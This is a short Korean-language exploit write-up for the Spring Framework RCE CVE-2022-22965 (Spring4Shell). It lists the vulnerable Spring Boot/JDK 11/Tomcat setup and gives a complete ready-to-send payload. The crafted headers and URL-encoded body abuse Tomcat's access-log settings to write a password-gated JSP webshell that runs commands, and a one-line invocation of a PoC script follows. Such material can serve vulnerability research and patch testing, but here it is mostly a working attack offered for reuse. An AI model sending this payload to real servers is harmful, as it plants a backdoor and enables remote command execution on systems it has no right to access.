Spring RCE CVE-2022-22965

취약점 환경

환경 정보

springboot
jdk11
tomcat9.0.30

payload

요청 헤더 구성

"suffix": "%>//",
"c1": "Runtime",
"c2": "<%",
"DNT": "1",
"Content-Type": "application/x-www-form-urlencoded",

요청 본문 데이터

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=myshell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

위 내용을 전송하면 대상 시스템에 webshell을 성공적으로 쓸 수 있으며, 일반적으로 webapps\ROOT\myshell.jsp 경로에 생성됩니다.

경로를 제어할 수 있다면 payload를 변형하여 원하는 임의의 파일을 쓸 수 있습니다.
주로 tomcat 로그 기록 형식을 수정하여 로그 형태로 shell을 기록하는 방식입니다.

poc 사용

재현을 간편하게 하려면 아래 poc을 그대로 사용하면 됩니다.

python3 poc.py http://test.com/hello

Spring4Shell

인기